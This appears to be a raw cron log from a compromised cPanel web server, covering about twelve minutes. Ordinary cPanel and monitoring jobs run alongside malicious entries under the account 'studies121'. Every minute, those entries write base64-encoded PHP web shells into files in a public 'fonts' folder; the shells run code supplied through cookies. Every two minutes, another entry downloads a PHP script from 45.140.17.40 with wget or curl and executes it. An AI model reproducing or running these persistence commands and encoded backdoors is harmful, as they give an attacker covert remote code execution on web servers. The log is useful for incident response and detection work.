Sep 12 19:38:01 ip-184-168-122-23 CROND[14549]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 19:38:01 ip-184-168-122-23 CROND[14550]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 19:38:01 ip-184-168-122-23 CROND[14548]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 19:38:01 ip-184-168-122-23 CROND[14551]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 19:39:01 ip-184-168-122-23 CROND[14643]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 19:39:01 ip-184-168-122-23 CROND[14645]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 19:39:01 ip-184-168-122-23 CROND[14647]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 19:39:01 ip-184-168-122-23 CROND[14646]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 19:39:01 ip-184-168-122-23 CROND[14650]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 12 19:40:02 ip-184-168-122-23 CROND[14760]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 19:40:02 ip-184-168-122-23 CROND[14762]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 19:40:02 ip-184-168-122-23 CROND[14764]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 19:40:02 ip-184-168-122-23 CROND[14767]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 19:40:02 ip-184-168-122-23 CROND[14768]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 19:40:02 ip-184-168-122-23 CROND[14769]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 19:40:02 ip-184-168-122-23 CROND[14770]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 19:40:02 ip-184-168-122-23 CROND[14777]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 19:41:01 ip-184-168-122-23 CROND[14861]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 19:41:01 ip-184-168-122-23 CROND[14863]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 19:41:01 ip-184-168-122-23 CROND[14864]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 19:41:01 ip-184-168-122-23 CROND[14862]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 19:42:01 ip-184-168-122-23 CROND[14945]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 19:42:01 ip-184-168-122-23 CROND[14948]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 19:42:01 ip-184-168-122-23 CROND[14947]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 19:42:01 ip-184-168-122-23 CROND[14949]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 19:42:01 ip-184-168-122-23 CROND[14950]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 19:43:01 ip-184-168-122-23 CROND[15086]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 19:43:01 ip-184-168-122-23 CROND[15085]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 19:43:01 ip-184-168-122-23 CROND[15090]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 19:43:01 ip-184-168-122-23 CROND[15093]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 19:44:01 ip-184-168-122-23 CROND[15222]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 19:44:01 ip-184-168-122-23 CROND[15225]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 19:44:01 ip-184-168-122-23 CROND[15226]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 19:44:01 ip-184-168-122-23 CROND[15224]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 19:44:01 ip-184-168-122-23 CROND[15227]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 19:45:02 ip-184-168-122-23 CROND[15362]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 19:45:02 ip-184-168-122-23 CROND[15365]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 19:45:02 ip-184-168-122-23 CROND[15364]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 19:45:02 ip-184-168-122-23 CROND[15363]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 19:45:02 ip-184-168-122-23 CROND[15370]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 19:45:02 ip-184-168-122-23 CROND[15367]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 19:46:01 ip-184-168-122-23 CROND[15480]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 19:46:01 ip-184-168-122-23 CROND[15479]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 19:46:01 ip-184-168-122-23 CROND[15483]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 12 19:46:01 ip-184-168-122-23 CROND[15486]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 19:46:01 ip-184-168-122-23 CROND[15485]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep 12 19:46:01 ip-184-168-122-23 CROND[15488]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 19:46:01 ip-184-168-122-23 CROND[15489]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 19:47:01 ip-184-168-122-23 CROND[15606]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 19:47:01 ip-184-168-122-23 CROND[15608]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 19:47:01 ip-184-168-122-23 CROND[15609]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 19:47:01 ip-184-168-122-23 CROND[15610]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 19:48:01 ip-184-168-122-23 CROND[15704]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 19:48:01 ip-184-168-122-23 CROND[15706]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 19:48:01 ip-184-168-122-23 CROND[15708]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 19:48:01 ip-184-168-122-23 CROND[15709]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 19:48:01 ip-184-168-122-23 CROND[15710]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 19:49:01 ip-184-168-122-23 CROND[15879]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Sep 12 19:49:01 ip-184-168-122-23 CROND[15880]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 19:49:01 ip-184-168-122-23 CROND[15883]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 19:49:01 ip-184-168-122-23 CROND[15882]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 19:49:01 ip-184-168-122-23 CROND[15881]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 19:50:01 ip-184-168-122-23 CROND[16035]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
